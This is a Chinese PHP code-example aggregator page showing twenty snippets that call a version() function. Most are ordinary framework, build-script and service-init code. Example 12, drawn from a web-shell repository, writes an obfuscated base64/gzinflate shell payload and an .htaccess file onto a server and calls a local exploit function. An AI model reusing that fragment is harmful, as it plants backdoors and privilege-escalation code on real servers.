• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP version函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中version函数的典型用法代码示例。如果您正苦于以下问题:PHP version函数的具体用法?PHP version怎么用?PHP version使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了version函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: defaultRun

 public function defaultRun($request)
 {
     $this->data['env'] = $this->config['env'];
     $this->data['domain'] = $this->config['domain'];
     $this->data['mcookie'] = $_COOKIE['m'];
     $this->data['is_mobile'] = $this->is_mobile;
     $this->data['web_root'] = $this->config['web_root'];
     $this->data['token'] = $this->getCsrfToken();
     $this->data['request'] = $request;
     $this->data['menu'] = new Menu();
     $this->data['action'] = $this->action;
     $this->data['preload_action'] = isset($request['preload_action']) ? $request['preload_action'] : "index";
     if ($this->action == 'index') {
         $this->action = "welcome";
         $this->data['action'] = 'welcome';
     }
     if ($this->config['env'] == 'prod') {
         require_once $this->config['zombie_root'] . "/config/version.php";
         $this->data['version'] = version();
     } else {
         $this->data['console'] = new Console();
     }
     $preload_class = underscoreToClass($this->action);
     if (class_exists($preload_class)) {
         $this->data['preload'] = new $preload_class();
     } else {
         $this->view = '404';
     }
 }
开发者ID:regality,项目名称:Zombie-PHP,代码行数:29,代码来源:home.php


示例2: img

/**
 * Helper to create an img tag
 * @param string $uri image uri
 * @param array $attrs attribute key value pairs
 * @param boolean $return if set to true a string is returned
 * @return string
 */
function img($uri, $attrs = array(), $return = false)
{
    static $mode = false;
    static $version = false;
    static $web_root = false;
    if ($mode === false) {
        $config = getZombieConfig();
        $mode = $config['env'];
        $web_root = $config['web_root'];
        if ($web_root == '/') {
            $web_root = '';
        }
        if ($mode == 'prod') {
            require_once $config['zombie_root'] . "/config/version.php";
            $version = version();
            $version = $version['images'];
        }
    }
    $html_attrs = attrsToString($attrs);
    $uri = imgUri($uri, $mode, $version, $web_root);
    $tag = "<img src=\"{$uri}\" {$html_attrs} />";
    if ($return) {
        return $tag;
    } else {
        echo $tag;
    }
}
开发者ID:regality,项目名称:zombie-core,代码行数:34,代码来源:helper.php


示例3: get_link

function get_link($version, $controller_id = '')
{
    $version = version($version);
    // get from function version
    $controller = controller_get($controller_id);
    return $version . '/' . $controller;
}
开发者ID:rohmanahmad,项目名称:rohmanwebid,代码行数:7,代码来源:version_helper.php


示例4: index

 public function index()
 {
     $data = ['page' => 'guidance_and_support_2/main', 'top_class' => 'content-guidance-and-support-2', 'list' => $this->guidance_and_support_model->get_list()];
     //echo'<pre>';
     //print_r($data['list']);
     //echo'</pre>';
     $this->load->view('v' . version() . '/layouts/default', $data);
 }
开发者ID:ministryofjustice,项目名称:digital-workplace,代码行数:8,代码来源:guidance_and_support_2.php


示例5: boot

 /**
  * Register any other events for your application.
  *
  * @param  \Illuminate\Contracts\Events\Dispatcher  $events
  * @return void
  */
 public function boot(DispatcherContract $events)
 {
     parent::boot($events);
     \Event::listen('Illuminate\\Cache\\Events\\KeyWritten', function ($event) {
         Bugsnag::leaveBreadcrumb('Cache written', 'process', ['key' => $event->key, 'value' => $event->value, 'ttl' => "{$event->minutes}mins"]);
     });
     Bugsnag::setAppVersion(version());
 }
开发者ID:TrackerNetwork,项目名称:DestinyStatus,代码行数:14,代码来源:EventServiceProvider.php


示例6: fire

 /**
  * Execute the console command.
  *
  * @return mixed
  */
 public function fire()
 {
     $old = version();
     $new = version(true);
     $this->comment("Previous: " . $old . " New: " . $new);
     if ($old !== $new) {
         $this->call('bugsnag:deploy', ['--revision' => $new]);
     }
 }
开发者ID:TrackerNetwork,项目名称:DestinyStatus,代码行数:14,代码来源:DestinyVersionCommand.php


示例7: compile

function compile($options)
{
    $config = getZombieConfig();
    $root = $config['zombie_root'];
    if (@(include __DIR__ . "/../../../config/version.php")) {
        $old_version = version();
    } else {
        $old_version = array('css' => 'css', 'js' => 'js', 'images' => 'images');
    }
    $version = uniqid();
    $compile_css = false;
    $compile_js = false;
    $compile_images = false;
    $compile_templates = false;
    if (isset($options['css'])) {
        $compile_css = true;
        $compile_js = true;
        $compile_templates = true;
    }
    if (isset($options['js'])) {
        $compile_js = true;
        $compile_css = true;
        $compile_templates = true;
    }
    if (isset($options['images'])) {
        $compile_images = true;
        $compile_css = true;
        $compile_templates = true;
    }
    if (isset($options['templates'])) {
        $compile_templates = true;
    }
    if (isset($options['all']) || !$compile_css && !$compile_js && !$compile_images && !$compile_templates) {
        $compile_css = true;
        $compile_js = true;
        $compile_images = true;
        $compile_templates = true;
    }
    $css_version = $compile_css ? $version : $old_version['css'];
    $js_version = $compile_js ? $version : $old_version['js'];
    $images_version = $compile_images ? $version : $old_version['images'];
    writeVersion($css_version, $js_version, $images_version);
    if ($compile_css) {
        compileCss($css_version, $old_version['css'], $images_version);
    }
    if ($compile_templates) {
        compileTemplates();
    }
    if ($compile_js) {
        compileJs($js_version, $old_version['js'], $css_version, $images_version);
    }
    if ($compile_images) {
        copyImages($images_version, $old_version['images']);
    }
}
开发者ID:regality,项目名称:zombie-core,代码行数:55,代码来源:compile.php


示例8: sbversion

function sbversion()
{
    nextBuild();
    $sb = version();
    $manifest = file_get_contents('blocker/manifest.json');
    $manifest = (array) json_decode($manifest);
    $manifest['version'] = "{$sb}";
    $manifest = json_encode($manifest, JSON_PRETTY_PRINT);
    $manifest = str_replace("\\/", "/", $manifest);
    file_put_contents('blocker/manifest.json', $manifest);
    return $sb;
}
开发者ID:REZ1DENT3,项目名称:AdsBlocker-Lite,代码行数:12,代码来源:compile.php


示例9: main

function main()
{
    global $argc, $argv;
    $cols = 0;
    $lines = 0;
    $font_width = 6;
    $font_height = 10;
    $format = NULL;
    $dither = NULL;
    $gamma = $brightness = $contrast = -1.0;
    $long_options = array("width:" => 'W', "height:" => 'H', "font-width:" => 'x', "font-height:" => 'y', "format:" => 'f', "dither:" => 'd', "gamma:" => 'g', "brightness:" => 'b', "contrast:" => 'c', "help" => 'h', "version" => 'v');
    try {
        while ($opt_and_arg = mygetopt("W:H:f:d:g:b:c:hvx:y:", array_keys($long_options))) {
            $opt = $opt_and_arg[0];
            $arg = $opt_and_arg[1];
            if (substr($opt, 0, 2) == '--' && array_key_exists(substr($opt, strlen('--')) . ($arg !== NULL ? ':' : ''), $long_options)) {
                $opt = '-' . $long_options[substr($opt, strlen('--')) . ($arg !== NULL ? ':' : '')];
            }
            switch ($opt) {
                case '-W':
                    /* --width */
                    $cols = intval($arg);
                    break;
                case '-H':
                    /* --height */
                    $lines = intval($arg);
                    break;
                case '-x':
                    /* --width */
                    $font_width = intval($arg);
                    break;
                case '-y':
                    /* --height */
                    $font_height = intval($arg);
                    break;
                case '-f':
                    /* --format */
                    $format = $arg;
                    break;
                case '-d':
                    /* --dither */
                    $dither = $arg;
                    break;
                case '-g':
                    /* --gamma */
                    $gamma = floatval($arg);
                    break;
                case '-b':
                    /* --brightness */
                    $brightness = floatval($arg);
                    break;
                case '-c':
                    /* --contrast */
                    $contrast = floatval($arg);
                    break;
                case '-h':
                    /* --help */
                    usage($argc, $argv);
                    return 0;
                case '-v':
                    /* --version */
                    version();
                    return 0;
                default:
                    return 1;
            }
        }
    } catch (MygetoptException $e) {
        fprintf(STDERR, "%s", $argv[0] . ": " . $e->getMessage() . "\n");
        usage($argc, $argv);
        return 2;
    }
    if ($argc != 2) {
        fprintf(STDERR, "%s: wrong argument count\n", $argv[0]);
        usage($argc, $argv);
        return 1;
    }
    $cv = caca_create_canvas(0, 0);
    if (!$cv) {
        fprintf(STDERR, "%s: unable to initialise libcaca\n", $argv[0]);
        return 1;
    }
    $i_str = file_get_contents($argv[$argc - 1]);
    $i = $i_str ? imagecreatefromstring($i_str) : NULL;
    if (!$i) {
        fprintf(STDERR, "%s: unable to load %s\n", $argv[0], $argv[$argc - 1]);
        return 1;
    }
    /* Assume a 6×10 font */
    if (!$cols && !$lines) {
        $cols = 60;
        $lines = $cols * imagesy($i) * $font_width / imagesx($i) / $font_height;
    } else {
        if ($cols && !$lines) {
            $lines = $cols * imagesy($i) * $font_width / imagesx($i) / $font_height;
        } else {
            if (!$cols && $lines) {
                $cols = $lines * imagesx($i) * $font_height / imagesy($i) / $font_width;
            }
        }
//.........这里部分代码省略.........
开发者ID:dns,项目名称:libcaca,代码行数:101,代码来源:img2txt.php


示例10: version

<?php

$this->load->view('v' . version() . '/content/homepage/sub_header');
?>

<div class="content">
  <?php 
$this->load->view('v' . version() . '/content/homepage/updates_guidance_and_support');
?>
  <?php 
$this->load->view('v' . version() . '/content/homepage/highlights');
?>
  <?php 
$this->load->view('v' . version() . '/content/homepage/news_and_features');
?>
</div>
开发者ID:ministryofjustice,项目名称:digital-workplace,代码行数:16,代码来源:main.php


示例11: version

echo $top_class;
?>
">
<head>
  <?php 
$this->load->view('shared/head');
?>
</head>
<body>
  <div class="main-container">
    <div class="main-container-inner">
      <?php 
$this->load->view('v' . version() . '/modules/header');
?>
      <?php 
$this->load->view('v' . version() . '/content/' . $page);
?>
      <?php 
$this->load->view('v' . version() . '/modules/footer');
?>
    </div>
  </div>
  <?php 
$this->load->view('shared/body_bottom');
?>
  <?php 
$this->load->view('v' . version() . '/modules/body_bottom');
?>
</body>
</html>
开发者ID:ministryofjustice,项目名称:digital-workplace,代码行数:30,代码来源:default.php


示例12: fopen

         } else {
             echo "chmod done<br>";
         }
         if ($_POST["htaccess"] == "on") {
             $fh = fopen($_POST["dir"] . "/.htaccess", "w");
             fwrite($fh, $htaccess);
             fclose($fh);
             echo "htaccess done";
         }
     }
     break;
 case "ssish":
     // code by profexer
     $ssishcode = gzinflate(base64_decode("pVd7c9pGEP8/n+IiJ5U0gARxMk3RIw/s1mntxGOTJp3YzQjpAAVxUk8nA0P57t29k0CAcSetGQuxt+/77d6e+7jVOoqHhM4z7mlPzvr9y69nvYsTrdXyXVyjcxqScBp5WhiRcv3y04mzYSXP/B86G/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(), "5.2.9") <= 0) {
         sploent516();
     }
     $fh = fopen($_POST["dir"] . "/" . $_POST["file"], "w");
     if (!$fh) {
         echo "can`t fopen " . $_POST["dir"] . "/" . $_POST["file"] . "!";
     } else {
         fwrite($fh, $ssishcode);
         fclose($fh);
         echo $_POST["file"] . " write done<br>";
         if ($_POST["htaccess"] == "on") {
             $fh = fopen($_POST["dir"] . "/.htaccess", "w");
             fwrite($fh, $htaccess);
             fclose($fh);
             echo "htaccess done";
         }
开发者ID:wucaishi,项目名称:WebShell-1,代码行数:31,代码来源:12309.php


示例13: insert_id

 /**
  * Insert ID
  *
  * @access	public
  * @return	integer
  */
 function insert_id()
 {
     $v = version($this->conn_id);
     $v = $v['server'];
     $table = func_num_args() > 0 ? func_get_arg(0) : null;
     $column = func_num_args() > 1 ? func_get_arg(1) : null;
     if ($table == null && $v >= '8.1') {
         $sql = 'SELECT LASTVAL() as ins_id';
     } elseif ($table != null && $column != null && $v >= '8.0') {
         $sql = sprintf("SELECT pg_get_serial_sequence('%s','%s') as seq", $table, $column);
         $query = $this->query($sql);
         $row = $query->row();
         $sql = sprintf("SELECT CURRVAL('%s') as ins_id", $row->seq);
     } elseif ($table != null) {
         // seq_name passed in table parameter
         $sql = sprintf("SELECT CURRVAL('%s') as ins_id", $table);
     } else {
         return pg_last_oid($this->result_id);
     }
     $query = $this->query($sql);
     $row = $query->row();
     return $row->ins_id;
 }
开发者ID:jiz,项目名称:CodeIgniter,代码行数:29,代码来源:postgre_driver.php


示例14: main

function main()
{
    $args = $_SERVER['argv'];
    $script = array_shift($args);
    $normalize = FALSE;
    $composer = FALSE;
    $rem_args = array();
    for ($i = 0, $m = count($args); $i < $m; $i++) {
        $arg = $args[$i];
        if ($arg == '-N' || $arg == '--normalize') {
            $normalize = TRUE;
        } else {
            if ($arg == '-C' || $arg == '--composer') {
                $composer = TRUE;
            } else {
                if (!strncmp($arg, '-', 1)) {
                    usage($script);
                    exit(1);
                } else {
                    $rem_args[] = $arg;
                }
            }
        }
    }
    $dir = getcwd();
    if (count($rem_args)) {
        $dir = $rem_args[0];
        putenv('GIT_DIR=' . $dir . DIRECTORY_SEPARATOR . '.git');
    }
    // Retrieve the path to the repository's toplevel directory.
    $NUL = strncasecmp(PHP_OS, 'Win', 3) ? '/dev/null' : 'NUL';
    exec('git rev-parse --show-toplevel 2>' . $NUL, $output, $exitcode);
    if ($exitcode != 0) {
        fprintf(STDERR, "Could not determine path to .git folder.%s", PHP_EOL);
        exit(1);
    }
    $dir = trim($output[0]);
    if ($composer) {
        composer($dir);
    }
    version($dir, $normalize);
}
开发者ID:erebot,项目名称:buildenv,代码行数:42,代码来源:get_version.php


示例15: site_url

										  <a class="list-group-item btn-primary" onclick="set_value(\'' . $thumbnail->attributes()->{'url'} . '\')">' . $title . '</a>
										 </div>	
										';
}
?>
						</div>
					</div>
					<hr>
					<div class="row">
						<div class="col-md-2">
							<a href="<?php 
echo site_url(version(1) . '/');
?>
" class="btn btn-default glyphicon glyphicon-home"></a>
							<a href="<?php 
echo site_url(version(1) . '/picasa_upload');
?>
" class="btn btn-primary">Upload</a>
						</div>
						<div class="col-md-10">
							<textarea class="form-control js-copytextarea"></textarea>
							<button class="btn js-textareacopybtn"><i class="glyphicon glyphicon-copy"></i> Copy</button>
						</div>
					</div>

                </div><!-- col-sm-9 -->
            </div>

        </div>
        <!-- /.container -->
开发者ID:rohmanahmad,项目名称:rohmanwebid,代码行数:30,代码来源:galery_page.php


示例16: getopt

 * Copyright © 2013-2014 Chris Corbyn.
 */
/* Generate releases in Github */
namespace Boris;

require __DIR__ . '/lib/autoload.php';
$args = getopt('hv:', array('help', 'version:'));
if (count($args) != 1) {
    help();
    exit(1);
}
foreach ($args as $opt => $value) {
    switch ($opt) {
        case 'v':
        case 'version':
            version($value);
            exit(0);
        case 'h':
        case 'help':
            help();
            exit(0);
        default:
            unknown($opt);
            exit(1);
    }
}
function help()
{
    echo <<<HELP
Boris release generator script.
开发者ID:danielsan,项目名称:boris,代码行数:30,代码来源:release.php


示例17: version

<?php

$this->load->view('v' . version() . '/content/homepage/sub_header');
?>

<div class="content">
  <div class="grid grid-pad">
    <div class="col-1-3">
      <h2 class="category-heading">News</h2>
      <article class="news-item">
        <a href=""><img class="img-placeholder" /></a>
        <span class="timestamp">29 August 2014</span>
        <h3><a href="">UK terrorist threat level raised</a></h3>
        <p class="content">
          Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nam nibh. Nunc varius facilisis  eros. Sed erat. In in velit quis
        </p>
      </article>
    </div>
    <div class="col-1-3">
      <h2 class="category-heading">Guidance &amp; support</h2>
      <ul class="link-list">
        <li>
          <a href="">
            <h4>HR</h4>
          </a>
          <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nam nibh.</p>
        </li>
        <li>
          <a href="">
            <h4>Learning &amp; development</h4>
          </a>
开发者ID:ministryofjustice,项目名称:digital-workplace,代码行数:31,代码来源:main.php


示例18: calendar

 public function calendar()
 {
     $data = ['page' => 'news_and_features/main', 'top_class' => 'content-news-and-features', 'tab_name' => 'calendar'];
     $this->load->view('v' . version() . '/layouts/default', $data);
 }
开发者ID:ministryofjustice,项目名称:digital-workplace,代码行数:5,代码来源:news_and_features.php


示例19: array

<?php

use Illuminate\Support\Facades\Config;
return array('enable' => !Config::get('app.debug'), 'hash' => md5(version()), 'prefix' => null, 'cdn' => null);
开发者ID:baherramzy,项目名称:DestinyStatus,代码行数:4,代码来源:config.php


示例20: start

function start($aspid = false)
{
    $unix = new unix();
    $sock = new sockets();
    $Masterbin = $unix->LOCATE_STUNNEL();
    if (!is_file($Masterbin)) {
        if ($GLOBALS["OUTPUT"]) {
            echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]}, not installed\n";
        }
        return;
    }
    if (!$aspid) {
        $pidfile = "/etc/artica-postfix/pids/" . basename(__FILE__) . "." . __FUNCTION__ . ".pid";
        $pid = $unix->get_pid_from_file($pidfile);
        if ($unix->process_exists($pid, basename(__FILE__))) {
            $time = $unix->PROCCESS_TIME_MIN($pid);
            if ($GLOBALS["OUTPUT"]) {
                echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} Already Artica task running PID {$pid} since {$time}mn\n";
            }
            return;
        }
        @file_put_contents($pidfile, getmypid());
    }
    $pid = PID_NUM();
    if ($unix->process_exists($pid)) {
        $timepid = $unix->PROCCESS_TIME_MIN($pid);
        if ($GLOBALS["OUTPUT"]) {
            echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} Service already started {$pid} since {$timepid}Mn...\n";
        }
        return;
    }
    $sTunnel4enabled = $sock->GET_INFO("sTunnel4enabled");
    if (!is_numeric($sTunnel4enabled)) {
        $sTunnel4enabled = 0;
    }
    if ($sTunnel4enabled == 0) {
        if ($GLOBALS["OUTPUT"]) {
            echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} service disabled (see sTunnel4enabled)\n";
        }
        return;
    }
    $php5 = $unix->LOCATE_PHP5_BIN();
    $sysctl = $unix->find_program("sysctl");
    $echo = $unix->find_program("echo");
    $nohup = $unix->find_program("nohup");
    $version = version();
    $cmds = "{$Masterbin} /etc/stunnel/stunnel.conf";
    $unix->CreateUnixUser("stunnel4", "stunnel4");
    @mkdir("/var/run/stunnel", 0755, true);
    @mkdir("/var/lib/stunnel4", 0755, true);
    @chown("/var/run/stunnel", "stunnel4");
    @chown("/var/lib/stunnel4", "stunnel4");
    $stunnel = new stunnel4();
    $relay = $stunnel->main_array["postfix_relayhost"]["connect"];
    $relayPort = $stunnel->main_array["postfix_relayhost"]["port"];
    $localport = $stunnel->main_array["postfix_relayhost"]["accept"];
    if (!is_numeric($relayPort)) {
        $relayPort = 465;
    }
    if ($GLOBALS["OUTPUT"]) {
        echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} version {$version}\n";
    }
    if ($GLOBALS["OUTPUT"]) {
        echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} Local to 127.0.0.1:{$localport}\n";
    }
    if ($GLOBALS["OUTPUT"]) {
        echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} connection to {$relay}:{$relayPort}\n";
    }
    if ($GLOBALS["OUTPUT"]) {
        echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} service\n";
    }
    build();
    $cmd = $cmds;
    shell_exec($cmd);
    for ($i = 1; $i < 5; $i++) {
        if ($GLOBALS["OUTPUT"]) {
            echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} waiting {$i}/5\n";
        }
        sleep(1);
        $pid = PID_NUM();
        if ($unix->process_exists($pid)) {
            break;
        }
    }
    $pid = PID_NUM();
    if ($unix->process_exists($pid)) {
        if ($GLOBALS["OUTPUT"]) {
            echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} Success PID {$pid}\n";
        }
    } else {
        if ($GLOBALS["OUTPUT"]) {
            echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} Failed\n";
        }
        if ($GLOBALS["OUTPUT"]) {
            echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} {$cmd}\n";
        }
    }
}
开发者ID:BillTheBest,项目名称:1.6.x,代码行数:98,代码来源:exec.stunnel.php



注:本文中的version函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP versionCompare函数代码示例发布时间:2022-05-23
下一篇:
PHP versao函数代码示例发布时间:2022-05-23
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap